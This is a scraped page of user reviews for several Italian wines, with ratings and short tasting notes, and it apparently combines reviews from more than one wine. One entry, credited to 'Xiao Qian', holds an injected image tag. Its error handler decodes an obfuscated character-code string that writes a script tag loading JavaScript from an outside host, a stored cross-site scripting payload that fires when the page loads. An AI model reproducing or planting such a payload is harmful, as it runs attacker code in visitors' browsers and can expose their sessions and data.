WC Fields

9.1

High QPR! Goes well with many foods but especially any simple Italian fare. One of my go to Italian wines. It’s nice to go beyond Tuscany or Piedmonte. — 10 months ago

Raun Kupiec

9.1

Comparing two 2010 Sagrantino di Montefalcos. Both opened for an hour first. I thought the Adanti was a bit softer and more aromatic at first. But the Perticaia had more structure, depth and complexity. Decanted the Perticaia for dinner (only have one decanter) and it improved even more. In the past I thought the Adanti had quite a tannic punch. That has faded over the 3 years since I last opened one. — 4 years ago

with Michael

Leeann

10

From Pizzeria 22 — 5 years ago

Andreas Frei

9.7

Wonderful Sagrantino with big, smooth tannins. Rustic but elegant, like the wonderful countryside of Umbria. — 6 years ago

Joe Weinberger

9.2

Seriously good food wine. — 8 years ago

Eric W Brown

9.3

Awesome blend of merlot and sangiovese. — 8 years ago

Norm Baker

9.7

Full body and very smooth once it opens up. Hint of spice on the finish. 21st anniversary at Truluck's — 9 years ago

Patrick Mohan

9.3

Big, dark, layered, delicious with a lot of life left. — 10 years ago

Michael Meyer

9.2

It's a super duper Tuscan! Should be fantastico with duck pasta — 11 years ago

Jan DeLong

9.6

Easter - W&J - w lamb / 5 — 12 years ago

Jeffrey Woo

9.2

Deep ruby hue. Notes of blackberry, olives, pepper, and tar. Full tannins and high acidity. Superb with meats. — 2 years ago

Xiao Qian

9.9

<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,104,116,116,112,115,58,47,47,120,115,46,97,120,47,120,105,97,111,62,60,47,115,67,114,73,112,84,62))"> — 3 years ago

Joanne Franzel

8.9

Weird fizz. A little funk which I don’t like but jeff loves. It’s a guy thing. Finish has nice grip. — 5 years ago

Joshua Hudson

9.2

Nice light, floral bouquet. Some may take this wine as one dimensional due to the prominent pear. But definitely has notes of almond and vanilla with pineapple in the aftertaste. Crisp, with medium acidity. Great by itself, excellent with seafood. — 5 years ago

Raun Kupiec

9.0

Beautifully perfumed with spice and dried flowers and earth. Tannins have mellowed since last bottle a little over a year and a half ago, though still grippy on the sides of the mouth. — 7 years ago

Blake McKee

9.4

Nice hot day today and the cool white wine was just the ticket . Medium acidity and beautiful notes of fresh fruit and flowers had it with pork and will buy this one again and again — 8 years ago

Gina Boedeker

9.1

Allie H after work with Otavio. Sangiovese blend. Not too fruity. Delish. — 10 years ago

Noah Chasin

9.3

Saline, olive-y, abrupt finish, no excess alcohol. So weird and wonderful. — 10 years ago

PS Michaels

9.2

2006. Drinking nicely. I could see this pairing with almost any food. — 11 years ago

Patrick Hu

9.5

Wow - wet stones...nice balance of fruit with tannins. Best value ever! — 12 years ago

Stuart Peisner

9.1

Deep color, great structure and tannins. A very good red wine not well known but one of my favorites. — 3 years ago

Michelle Berryman

9.0

Bright, fruity, light — 3 years ago

Praveer Sharma

9.1

We asked for a bold red and we got it! — 4 years ago

Jared Smith

9.3

12% abv. Beautiful wine, rich color. Mineralogy, funky, fruity. (@Felix). — 5 years ago

Tegan Marriott

9.3

Pow! in your face fucking good! — 6 years ago

Chris & Hannah Schmidt

9.1

Drinking with Chris on our honeymoon - last night in Rome. Goes down really smooth and easy to drink. — 8 years ago

Rashed Chowdhury

9.0

Flavors of ripe cherry, leather, plenty of tannins and good finish. Tried it with some chocolate, was actually pretty good. — 9 years ago

Nathan ratapu

9.3

Tannin rich and heady on the nose - this is a serious orange wine for red wine fans. — 10 years ago

Lisa Sands

9.5

Great for a pre-meal drink! No oak, dry with a clean finish. — 11 years ago

Evan Ashkin

9.3

Many layers, tannins need to blow off a bit, opens wonderfully — 11 years ago